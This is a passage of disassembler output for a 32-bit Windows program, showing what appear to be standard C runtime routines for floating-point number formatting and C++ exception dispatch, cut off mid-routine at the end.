mov dl, byte_43C538 mov cl, [eax] test cl, cl jz short loc_421951 loc_421945: ; CODE XREF: sub_421935+1Aj cmp cl, dl jz short loc_421951 mov cl, [eax+1] inc eax test cl, cl jnz short loc_421945 loc_421951: ; CODE XREF: sub_421935+Ej ; sub_421935+12j mov cl, [eax] inc eax test cl, cl jz short locret_421982 loc_421958: ; CODE XREF: sub_421935+34j mov cl, [eax] test cl, cl jz short loc_42196B cmp cl, 65h jz short loc_42196B cmp cl, 45h jz short loc_42196B inc eax jmp short loc_421958 ; --------------------------------------------------------------------------- loc_42196B: ; CODE XREF: sub_421935+27j ; sub_421935+2Cj ... mov ecx, eax loc_42196D: ; CODE XREF: sub_421935+3Cj dec eax cmp byte ptr [eax], 30h jz short loc_42196D cmp [eax], dl jnz short loc_421978 dec eax loc_421978: ; CODE XREF: sub_421935+40j ; sub_421935+4Bj mov dl, [ecx] inc eax inc ecx test dl, dl mov [eax], dl jnz short loc_421978 locret_421982: ; CODE XREF: sub_421935+21j retn sub_421935 endp ; =============== S U B R O U T I N E ======================================= sub_421983 proc near ; DATA XREF: sub_41C760+28o ; ___:off_43C8E0o arg_0 = dword ptr 4 mov eax, [esp+arg_0] fld qword ptr [eax] fcomp dbl_427880 fnstsw ax sahf jb short loc_421998 push 1 pop eax retn ; --------------------------------------------------------------------------- loc_421998: ; CODE XREF: sub_421983+Fj xor eax, eax retn sub_421983 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42199B proc near ; CODE XREF: sub_420510+430p ; DATA XREF: sub_41C760+14o ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx cmp [ebp+arg_0], 0 push [ebp+arg_8] jz short loc_4219C4 lea eax, [ebp+var_8] push eax call sub_424518 mov eax, [ebp+arg_4] pop ecx pop ecx mov ecx, [ebp+var_8] mov [eax], ecx mov ecx, [ebp+var_4] mov [eax+4], ecx leave retn ; --------------------------------------------------------------------------- loc_4219C4: ; CODE XREF: sub_42199B+Cj lea eax, [ebp+arg_8] push eax call sub_424545 mov eax, [ebp+arg_4] pop ecx pop ecx mov ecx, [ebp+arg_8] mov [eax], ecx leave retn sub_42199B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4219D9 proc near ; CODE XREF: sub_421C56+17p ; sub_421CA0+47p var_10 = qword ptr -10h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp cmp byte_4DB340, 0 push ebx push esi jz short loc_421A0E mov ebx, [ebp+arg_8] mov eax, dword_4DB33C xor ecx, ecx mov esi, eax test ebx, ebx setnle cl push ecx xor ecx, ecx cmp dword ptr [eax], 2Dh setz cl add ecx, [ebp+arg_4] push ecx call sub_421CF1 pop ecx pop ecx jmp short loc_421A46 ; --------------------------------------------------------------------------- loc_421A0E: ; CODE XREF: sub_4219D9+Cj mov eax, [ebp+arg_0] push ecx push ecx fld qword ptr [eax] fstp [esp+10h+var_10] call sub_4245E9 mov ebx, [ebp+arg_8] mov esi, eax push esi mov edx, [ebp+arg_4] lea eax, [ebx+1] push eax xor eax, eax cmp dword ptr [esi], 2Dh setz al xor ecx, ecx test ebx, ebx setnle cl add edx, eax add ecx, edx push ecx call sub_424572 add esp, 14h loc_421A46: ; CODE XREF: sub_4219D9+33j cmp dword ptr [esi], 2Dh mov eax, [ebp+arg_4] jnz short loc_421A52 mov byte ptr [eax], 2Dh inc eax loc_421A52: ; CODE XREF: sub_4219D9+73j test ebx, ebx jle short loc_421A6A mov cl, [eax+1] push edi lea edi, [eax+1] mov [eax], cl mov cl, byte_43C538 mov eax, edi pop edi mov [eax], cl loc_421A6A: ; CODE XREF: sub_4219D9+7Bj xor ecx, ecx push offset aE000 ; "e+000" cmp byte_4DB340, cl setz cl add ecx, eax add ecx, ebx push ecx call sub_41BEB0 cmp [ebp+arg_C], 0 pop ecx pop ecx mov ecx, eax jz short loc_421A91 mov byte ptr [ecx], 45h loc_421A91: ; CODE XREF: sub_4219D9+B3j mov eax, [esi+0Ch] inc ecx cmp byte ptr [eax], 30h jz short loc_421AD6 mov ebx, [esi+4] dec ebx jns short loc_421AA5 neg ebx mov byte ptr [ecx], 2Dh loc_421AA5: ; CODE XREF: sub_4219D9+C5j inc ecx cmp ebx, 64h jl short loc_421ABC mov eax, ebx push 64h cdq pop esi idiv esi add [ecx], al mov eax, ebx cdq idiv esi mov ebx, edx loc_421ABC: ; CODE XREF: sub_4219D9+D0j inc ecx cmp ebx, 0Ah jl short loc_421AD3 mov eax, ebx push 0Ah cdq pop esi idiv esi add [ecx], al mov eax, ebx cdq idiv esi mov ebx, edx loc_421AD3: ; CODE XREF: sub_4219D9+E7j add [ecx+1], bl loc_421AD6: ; CODE XREF: sub_4219D9+BFj mov eax, [ebp+arg_4] pop esi pop ebx pop ebp retn sub_4219D9 endp ; =============== S U B R O U T I N E ======================================= sub_421ADD proc near ; CODE XREF: sub_421C7D+13p ; sub_421CA0+1Ep var_18 = qword ptr -18h arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch cmp byte_4DB340, 0 push ebx push ebp mov ebp, [esp+8+arg_4] push esi push edi jz short loc_421B18 mov eax, dword_4DB344 mov ebx, [esp+10h+arg_8] mov esi, dword_4DB33C cmp eax, ebx jnz short loc_421B48 xor ecx, ecx cmp dword ptr [esi], 2Dh setz cl add ecx, eax add ecx, ebp mov eax, ecx mov byte ptr [eax], 30h and byte ptr [eax+1], 0 jmp short loc_421B48 ; --------------------------------------------------------------------------- loc_421B18: ; CODE XREF: sub_421ADD+Fj mov eax, [esp+10h+arg_0] push ecx push ecx fld qword ptr [eax] fstp [esp+18h+var_18] call sub_4245E9 mov ebx, [esp+18h+arg_8] mov esi, eax push esi mov eax, [esi+4] add eax, ebx push eax xor eax, eax cmp dword ptr [esi], 2Dh setz al add eax, ebp push eax call sub_424572 add esp, 14h loc_421B48: ; CODE XREF: sub_421ADD+22j ; sub_421ADD+39j cmp dword ptr [esi], 2Dh mov edi, ebp jnz short loc_421B56 mov byte ptr [ebp+0], 2Dh lea edi, [ebp+1] loc_421B56: ; CODE XREF: sub_421ADD+70j mov eax, [esi+4] test eax, eax jg short loc_421B6D push 1 push edi call sub_421CF1 pop ecx mov byte ptr [edi], 30h pop ecx inc edi jmp short loc_421B6F ; --------------------------------------------------------------------------- loc_421B6D: ; CODE XREF: sub_421ADD+7Ej add edi, eax loc_421B6F: ; CODE XREF: sub_421ADD+8Ej test ebx, ebx jle short loc_421BB4 push 1 push edi call sub_421CF1 mov al, byte_43C538 pop ecx mov [edi], al mov esi, [esi+4] inc edi pop ecx test esi, esi jge short loc_421BB4 cmp byte_4DB340, 0 jz short loc_421B99 neg esi jmp short loc_421B9F ; --------------------------------------------------------------------------- loc_421B99: ; CODE XREF: sub_421ADD+B6j neg esi cmp ebx, esi jl short loc_421BA1 loc_421B9F: ; CODE XREF: sub_421ADD+BAj mov ebx, esi loc_421BA1: ; CODE XREF: sub_421ADD+C0j push ebx push edi call sub_421CF1 push ebx push 30h push edi call sub_41B590 add esp, 14h loc_421BB4: ; CODE XREF: sub_421ADD+94j ; sub_421ADD+ADj pop edi mov eax, ebp pop esi pop ebp pop ebx retn sub_421ADD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421BBB proc near ; CODE XREF: sub_421CA0+34p var_14 = qword ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ebx push esi push edi mov edi, [ebp+arg_0] push ecx push ecx fld qword ptr [edi] fstp [esp+14h+var_14] call sub_4245E9 mov dword_4DB33C, eax mov ecx, [eax+4] dec ecx mov ebx, [ebp+arg_8] mov dword_4DB344, ecx xor ecx, ecx cmp dword ptr [eax], 2Dh push eax push ebx setz cl add ecx, [ebp+arg_4] mov esi, ecx push esi call sub_424572 mov eax, dword_4DB33C add esp, 14h mov ecx, [eax+4] dec ecx cmp dword_4DB344, ecx setl cl mov byte_4DB348, cl mov eax, [eax+4] dec eax cmp eax, 0FFFFFFFCh mov dword_4DB344, eax jl short loc_421C41 cmp eax, ebx jge short loc_421C41 test cl, cl jz short loc_421C32 loc_421C28: ; CODE XREF: sub_421BBB+72j mov al, [esi] inc esi test al, al jnz short loc_421C28 and [esi-2], al loc_421C32: ; CODE XREF: sub_421BBB+6Bj push ebx push [ebp+arg_4] push edi call sub_421C7D add esp, 0Ch jmp short loc_421C51 ; --------------------------------------------------------------------------- loc_421C41: ; CODE XREF: sub_421BBB+63j ; sub_421BBB+67j push [ebp+arg_C] push ebx push [ebp+arg_4] push edi call sub_421C56 add esp, 10h loc_421C51: ; CODE XREF: sub_421BBB+84j pop edi pop esi pop ebx pop ebp retn sub_421BBB endp ; =============== S U B R O U T I N E ======================================= sub_421C56 proc near ; CODE XREF: sub_421BBB+8Ep arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push [esp+arg_C] mov byte_4DB340, 1 push [esp+4+arg_8] push [esp+8+arg_4] push [esp+0Ch+arg_0] call sub_4219D9 and byte_4DB340, 0 add esp, 10h retn sub_421C56 endp ; =============== S U B R O U T I N E ======================================= sub_421C7D proc near ; CODE XREF: sub_421BBB+7Cp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push [esp+arg_8] mov byte_4DB340, 1 push [esp+4+arg_4] push [esp+8+arg_0] call sub_421ADD and byte_4DB340, 0 add esp, 0Ch retn sub_421C7D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421CA0 proc near ; CODE XREF: sub_41F69F+3AAp ; DATA XREF: sub_41C760o ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp cmp [ebp+arg_8], 65h jz short loc_421CDB cmp [ebp+arg_8], 45h jz short loc_421CDB cmp [ebp+arg_8], 66h jnz short loc_421CC8 push [ebp+arg_C] push [ebp+arg_4] push [ebp+arg_0] call sub_421ADD add esp, 0Ch pop ebp retn ; --------------------------------------------------------------------------- loc_421CC8: ; CODE XREF: sub_421CA0+13j push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_4] push [ebp+arg_0] call sub_421BBB jmp short loc_421CEC ; --------------------------------------------------------------------------- loc_421CDB: ; CODE XREF: sub_421CA0+7j ; sub_421CA0+Dj push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_4] push [ebp+arg_0] call sub_4219D9 loc_421CEC: ; CODE XREF: sub_421CA0+39j add esp, 10h pop ebp retn sub_421CA0 endp ; =============== S U B R O U T I N E ======================================= sub_421CF1 proc near ; CODE XREF: sub_4219D9+2Cp ; sub_421ADD+83p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push edi mov edi, [esp+4+arg_4] test edi, edi jz short loc_421D14 push esi mov esi, [esp+8+arg_0] push esi call sub_41AFE0 inc eax push eax push esi add esi, edi push esi call sub_41CC90 add esp, 10h pop esi loc_421D14: ; CODE XREF: sub_421CF1+7j pop edi retn sub_421CF1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421D16 proc near ; CODE XREF: ___:0041C940p ; sub_41C9A9+1Bp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp push esi mov esi, [ebp+arg_10] push edi mov edi, 19930520h cmp [esi], edi jz short loc_421D2C call sub_4225B2 loc_421D2C: ; CODE XREF: sub_421D16+Fj mov eax, [ebp+arg_0] test byte ptr [eax+4], 66h jz short loc_421D54 cmp dword ptr [esi+4], 0 jz short loc_421DAA cmp [ebp+arg_14], 0 jnz short loc_421DAA push 0FFFFFFFFh push esi push [ebp+arg_C] push [ebp+arg_4] call sub_42205D add esp, 10h jmp short loc_421DAA ; --------------------------------------------------------------------------- loc_421D54: ; CODE XREF: sub_421D16+1Dj cmp dword ptr [esi+0Ch], 0 jz short loc_421DAA cmp dword ptr [eax], 0E06D7363h jnz short loc_421D8E cmp [eax+14h], edi jbe short loc_421D8E mov ecx, [eax+1Ch] mov ecx, [ecx+8] test ecx, ecx jz short loc_421D8E movzx edx, byte ptr [ebp+arg_1C] push edx push [ebp+arg_18] push [ebp+arg_14] push esi push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push eax call ecx add esp, 20h jmp short loc_421DAD ; --------------------------------------------------------------------------- loc_421D8E: ; CODE XREF: sub_421D16+4Aj ; sub_421D16+4Fj ... push [ebp+arg_18] push [ebp+arg_14] push [ebp+arg_1C] push esi push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push eax call sub_421DB1 add esp, 20h loc_421DAA: ; CODE XREF: sub_421D16+23j ; sub_421D16+29j ... push 1 pop eax loc_421DAD: ; CODE XREF: sub_421D16+76j pop edi pop esi pop ebp retn sub_421D16 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421DB1 proc near ; CODE XREF: sub_421D16+8Cp var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = byte ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp sub esp, 18h mov eax, [ebp+arg_4] and byte ptr [ebp+var_14], 0 mov eax, [eax+8] cmp eax, 0FFFFFFFFh mov [ebp+var_10], eax jl short loc_421DD1 mov ecx, [ebp+arg_10] cmp eax, [ecx+4] jl short loc_421DD6 loc_421DD1: ; CODE XREF: sub_421DB1+16j call sub_4225B2 loc_421DD6: ; CODE XREF: sub_421DB1+1Ej push ebx push esi mov esi, [ebp+arg_0] mov ebx, 0E06D7363h push edi mov edi, 19930520h cmp [esi], ebx jnz loc_421F2D cmp dword ptr [esi+10h], 3 jnz short loc_421E4A cmp [esi+14h], edi jnz short loc_421E4A cmp dword ptr [esi+1Ch], 0 jnz short loc_421E4A mov esi, dword_4DB34C test esi, esi jz loc_421F28 mov eax, dword_4DB350 push 1 push esi mov [ebp+arg_8], eax mov byte ptr [ebp+var_14], 1 call sub_424770 pop ecx test eax, eax pop ecx jnz short loc_421E2C call sub_4225B2 loc_421E2C: ; CODE XREF: sub_421DB1+74j cmp [esi], ebx jnz loc_421F2D cmp dword ptr [esi+10h], 3 jnz short loc_421E4A cmp [esi+14h], edi jnz short loc_421E4A cmp dword ptr [esi+1Ch], 0 jnz short loc_421E4A call sub_4225B2 loc_421E4A: ; CODE XREF: sub_421DB1+41j ; sub_421DB1+46j ... cmp [esi], ebx jnz loc_421F2D cmp dword ptr [esi+10h], 3 jnz loc_421F2D cmp [esi+14h], edi jnz loc_421F2D mov edi, [ebp+var_10] lea eax, [ebp+var_18] push eax lea eax, [ebp+var_4] push eax push edi push [ebp+arg_18] push [ebp+arg_10] call sub_41CAF7 add esp, 14h mov ebx, eax loc_421E81: ; CODE XREF: sub_421DB1+162j mov eax, [ebp+var_4] cmp eax, [ebp+var_18] jnb loc_421F18 cmp [ebx], edi jg short loc_421F0D cmp edi, [ebx+4] jg short loc_421F0D mov eax, [ebx+10h] mov [ebp+arg_0], eax mov eax, [ebx+0Ch] test eax, eax mov [ebp+var_C], eax jle short loc_421F0A loc_421EA6: ; CODE XREF: sub_421DB1+131j mov eax, [esi+1Ch] mov eax, [eax+0Ch] lea edi, [eax+4] mov eax, [eax] test eax, eax mov [ebp+var_8], eax jle short loc_421ED7 loc_421EB8: ; CODE XREF: sub_421DB1+124j push dword ptr [esi+1Ch] push dword ptr [edi] push [ebp+arg_0] call sub_422000 add esp, 0Ch test eax, eax jnz short loc_421EE6 dec [ebp+var_8] add edi, 4 cmp [ebp+var_8], eax jg short loc_421EB8 loc_421ED7: ; CODE XREF: sub_421DB1+105j dec [ebp+var_C] add [ebp+arg_0], 10h cmp [ebp+var_C], 0 jg short loc_421EA6 jmp short loc_421F0A ; --------------------------------------------------------------------------- loc_421EE6: ; CODE XREF: sub_421DB1+119j push [ebp+var_14] push [ebp+arg_1C] push [ebp+arg_18] push ebx push dword ptr [edi] push [ebp+arg_0] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push esi call sub_422111 ; --------------------------------------------------------------------------- add esp, 2Ch loc_421F0A: ; CODE XREF: sub_421DB1+F3j ; sub_421DB1+133j mov edi, [ebp+var_10] loc_421F0D: ; CODE XREF: sub_421DB1+DEj ; sub_421DB1+E3j inc [ebp+var_4] add ebx, 14h jmp loc_421E81 ; --------------------------------------------------------------------------- loc_421F18: ; CODE XREF: sub_421DB1+D6j cmp [ebp+arg_14], 0 jz short loc_421F28 push 1 push esi call sub_422486 pop ecx pop ecx loc_421F28: ; CODE XREF: sub_421DB1+56j ; sub_421DB1+16Bj ... pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_421F2D: ; CODE XREF: sub_421DB1+37j ; sub_421DB1+7Dj ... cmp [ebp+arg_14], 0 jnz short loc_421F53 push [ebp+arg_1C] push [ebp+arg_18] push [ebp+var_10] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push esi call sub_421F58 add esp, 20h jmp short loc_421F28 ; --------------------------------------------------------------------------- loc_421F53: ; CODE XREF: sub_421DB1+180j jmp sub_42255C sub_421DB1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421F58 proc near ; CODE XREF: sub_421DB1+198p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp push ecx push ecx cmp dword_4DB354, 0 push esi push edi jz short loc_421F89 push [ebp+arg_1C] push [ebp+arg_18] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_41C9CE add esp, 1Ch test eax, eax jnz short loc_421FFC loc_421F89: ; CODE XREF: sub_421F58+Ej mov edi, [ebp+arg_14] lea eax, [ebp+var_8] push eax lea eax, [ebp+var_4] push eax push edi push [ebp+arg_18] push [ebp+arg_10] call sub_41CAF7 add esp, 14h mov esi, eax loc_421FA5: ; CODE XREF: sub_421F58+A2j mov eax, [ebp+var_4] cmp eax, [ebp+var_8] jnb short loc_421FFC cmp edi, [esi] jl short loc_421FF4 cmp edi, [esi+4] jg short loc_421FF4 mov eax, [esi+0Ch] mov ecx, [esi+10h] shl eax, 4 add eax, ecx mov ecx, [eax-0Ch] test ecx, ecx jz short loc_421FCE cmp byte ptr [ecx+8], 0 jnz short loc_421FF4 loc_421FCE: ; CODE XREF: sub_421F58+6Ej push 1 add eax, 0FFFFFFF0h push [ebp+arg_1C] push [ebp+arg_18] push esi push 0 push eax push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_422111 ; --------------------------------------------------------------------------- add esp, 2Ch loc_421FF4: ; CODE XREF: sub_421F58+57j ; sub_421F58+5Cj ... inc [ebp+var_4] add esi, 14h jmp short loc_421FA5 ; --------------------------------------------------------------------------- loc_421FFC: ; CODE XREF: sub_421F58+2Fj ; sub_421F58+53j pop edi pop esi leave retn sub_421F58 endp ; =============== S U B R O U T I N E ======================================= sub_422000 proc near ; CODE XREF: sub_421DB1+10Fp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi push edi mov edi, [esp+8+arg_0] mov eax, [edi+4] test eax, eax jz short loc_422057 cmp byte ptr [eax+8], 0 lea edx, [eax+8] jz short loc_422057 mov esi, [esp+8+arg_4] mov ecx, [esi+4] cmp eax, ecx jz short loc_422031 add ecx, 8 push ecx push edx call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_422053 loc_422031: ; CODE XREF: sub_422000+1Fj test byte ptr [esi], 2 jz short loc_42203B test byte ptr [edi], 8 jz short loc_422053 loc_42203B: ; CODE XREF: sub_422000+34j mov eax, [esp+8+arg_8] mov eax, [eax] test al, 1 jz short loc_42204A test byte ptr [edi], 1 jz short loc_422053 loc_42204A: ; CODE XREF: sub_422000+43j test al, 2 jz short loc_422057 test byte ptr [edi], 2 jnz short loc_422057 loc_422053: ; CODE XREF: sub_422000+2Fj ; sub_422000+39j ... xor eax, eax jmp short loc_42205A ; --------------------------------------------------------------------------- loc_422057: ; CODE XREF: sub_422000+Bj ; sub_422000+14j ... push 1 pop eax loc_42205A: ; CODE XREF: sub_422000+55j pop edi pop esi retn sub_422000 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42205D proc near ; CODE XREF: sub_421D16+34p ; ___:00422153p var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_4278C8 push offset sub_4234B8 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 0Ch push ebx push esi push edi mov [ebp+var_18], esp mov ebx, [ebp+arg_0] mov esi, [ebx+8] mov [ebp+var_1C], esi mov edi, [ebp+arg_8] loc_42208F: ; CODE XREF: sub_42205D+8Aj cmp esi, [ebp+arg_C] jz short loc_4220E9 cmp esi, 0FFFFFFFFh jle short loc_42209E cmp esi, [edi+4] jl short loc_4220A3 loc_42209E: ; CODE XREF: sub_42205D+3Aj call sub_4225B2 loc_4220A3: ; CODE XREF: sub_42205D+3Fj and [ebp+var_4], 0 mov eax, [edi+8] mov eax, [eax+esi*8+4] test eax, eax jz short loc_4220BE push 103h push ebx push eax call sub_422510 loc_4220BE: ; CODE XREF: sub_42205D+53j or [ebp+var_4], 0FFFFFFFFh jmp short loc_4220DE ; --------------------------------------------------------------------------- push [ebp+var_14] call sub_4220FB pop ecx retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] or [ebp+var_4], 0FFFFFFFFh mov edi, [ebp+arg_8] mov ebx, [ebp+arg_0] mov esi, [ebp+var_1C] loc_4220DE: ; CODE XREF: sub_42205D+65j mov eax, [edi+8] mov esi, [eax+esi*8] mov [ebp+var_1C], esi jmp short loc_42208F ; --------------------------------------------------------------------------- loc_4220E9: ; CODE XREF: sub_42205D+35j mov [ebx+8], esi mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_42205D endp ; =============== S U B R O U T I N E ======================================= sub_4220FB proc near ; CODE XREF: sub_42205D+6Ap arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov eax, [eax] cmp dword ptr [eax], 0E06D7363h jz short loc_42210C xor eax, eax retn ; --------------------------------------------------------------------------- loc_42210C: ; CODE XREF: sub_4220FB+Cj jmp sub_42255C sub_4220FB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn bp-based frame sub_422111 proc near ; CODE XREF: sub_421DB1+151p ; sub_421F58+94p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_24 = dword ptr 2Ch push ebp mov ebp, esp cmp [ebp+arg_18], 0 push ebx mov ebx, [ebp+arg_14] push esi push edi mov edi, [ebp+arg_4] jz short loc_422133 push [ebp+arg_18] push ebx push edi push [ebp+arg_0] call sub_4222C2 add esp, 10h loc_422133: ; CODE XREF: sub_422111+10j cmp [ebp+arg_24], 0 push [ebp+arg_0] jnz short loc_42213F push edi jmp short loc_422142 ; --------------------------------------------------------------------------- loc_42213F: ; CODE XREF: sub_422111+29j push [ebp+arg_24] loc_422142: ; CODE XREF: sub_422111+2Cj call sub_41C8D0 sub_422111 endp ; --------------------------------------------------------------------------- mov esi, [ebp+24h] push dword ptr [esi] push dword ptr [ebp+18h] push dword ptr [ebp+14h] push edi call sub_42205D mov eax, [esi+4] push 100h push dword ptr [ebp+28h] inc eax mov [edi+8], eax push dword ptr [ebx+0Ch] push dword ptr [ebp+18h] push dword ptr [ebp+10h] push edi push dword ptr [ebp+8] call sub_42218C add esp, 2Ch test eax, eax jz short loc_422187 push edi push eax call sub_41C88E loc_422187: ; CODE XREF: ___:0042217Ej pop edi pop esi pop ebx pop ebp retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42218C proc near ; CODE XREF: ___:00422174p var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_4278D8 push offset sub_4234B8 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 1Ch push ebx push esi push edi mov [ebp+var_18], esp mov eax, [ebp+arg_10] mov [ebp+var_2C], eax xor ebx, ebx mov [ebp+var_24], ebx mov esi, [ebp+arg_4] mov ecx, [esi-4] mov [ebp+var_28], ecx mov ecx, dword_4DB34C mov [ebp+var_1C], ecx mov ecx, dword_4DB350 mov [ebp+var_20], ecx mov edi, [ebp+arg_0] mov dword_4DB34C, edi mov ecx, [ebp+arg_8] mov dword_4DB350, ecx mov [ebp+var_4], ebx mov [ebp+var_4], 1 push [ebp+arg_18] push [ebp+arg_14] push eax push [ebp+arg_C] push esi call sub_41C955 add esp, 14h mov [ebp+var_2C], eax mov [ebp+var_4], ebx or [ebp+var_4], 0FFFFFFFFh call sub_422252 mov eax, [ebp+var_2C] loc_422219: ; CODE XREF: sub_422232+16j mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_42218C endp ; =============== S U B R O U T I N E ======================================= sub_422228 proc near ; DATA XREF: ___:004278E8o push dword ptr [ebp-14h] call sub_422298 pop ecx retn sub_422228 endp ; =============== S U B R O U T I N E ======================================= sub_422232 proc near ; DATA XREF: ___:004278ECo mov esp, [ebp-18h] and dword ptr [ebp-2Ch], 0 push 0FFFFFFFFh lea eax, [ebp-10h] push eax call sub_41CBB6 pop ecx pop ecx xor eax, eax jmp short loc_422219 sub_422232 endp ; --------------------------------------------------------------------------- loc_42224A: ; DATA XREF: ___:004278E0o xor ebx, ebx mov esi, [ebp+0Ch] mov edi, [ebp+8] ; =============== S U B R O U T I N E ======================================= sub_422252 proc near ; CODE XREF: sub_42218C+85p mov eax, [ebp-28h] mov [esi-4], eax mov eax, [ebp-1Ch] mov dword_4DB34C, eax mov eax, [ebp-20h] mov dword_4DB350, eax cmp dword ptr [edi], 0E06D7363h jnz short locret_422297 cmp dword ptr [edi+10h], 3 jnz short locret_422297 cmp dword ptr [edi+14h], 19930520h jnz short locret_422297 cmp [ebp-24h], ebx jnz short locret_422297 cmp [ebp-2Ch], ebx jz short locret_422297 call sub_41CC1E push eax push edi call sub_422486 pop ecx pop ecx locret_422297: ; CODE XREF: sub_422252+1Cj ; sub_422252+22j ... retn sub_422252 endp ; =============== S U B R O U T I N E ======================================= sub_422298 proc near ; CODE XREF: sub_422228+3p arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov eax, [eax] cmp dword ptr [eax], 0E06D7363h jnz short loc_4222BF cmp dword ptr [eax+10h], 3 jnz short loc_4222BF cmp dword ptr [eax+14h], 19930520h jnz short loc_4222BF cmp dword ptr [eax+1Ch], 0 jnz short loc_4222BF push 1 pop eax retn ; --------------------------------------------------------------------------- loc_4222BF: ; CODE XREF: sub_422298+Cj ; sub_422298+12j ... xor eax, eax retn sub_422298 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4222C2 proc near ; CODE XREF: sub_422111+1Ap var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_4278F0 push offset sub_4234B8 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 0Ch push ebx push esi push edi mov [ebp+var_18], esp mov ecx, [ebp+arg_8] mov eax, [ecx+4] test eax, eax jz loc_42246B cmp byte ptr [eax+8], 0 jz loc_42246B mov eax, [ecx+8] test eax, eax jz loc_42246B mov edx, [ebp+arg_4] lea edi, [eax+edx+0Ch] and [ebp+var_4], 0 test byte ptr [ecx], 8 jz short loc_42235F mov esi, [ebp+arg_0] push 1 push dword ptr [esi+18h] call sub_424770 pop ecx pop ecx test eax, eax jz loc_422462 push 1 push edi call sub_42478C pop ecx pop ecx test eax, eax jz loc_422462 mov eax, [esi+18h] mov [edi], eax mov ecx, [ebp+arg_C] add ecx, 8 push ecx loc_422350: ; CODE XREF: sub_4222C2+F5j push eax call sub_4224ED pop ecx pop ecx mov [edi], eax jmp loc_422467 ; --------------------------------------------------------------------------- loc_42235F: ; CODE XREF: sub_4222C2+57j mov esi, [ebp+arg_C] test byte ptr [esi], 1 jz short loc_4223B9 mov ebx, [ebp+arg_0] push 1 push 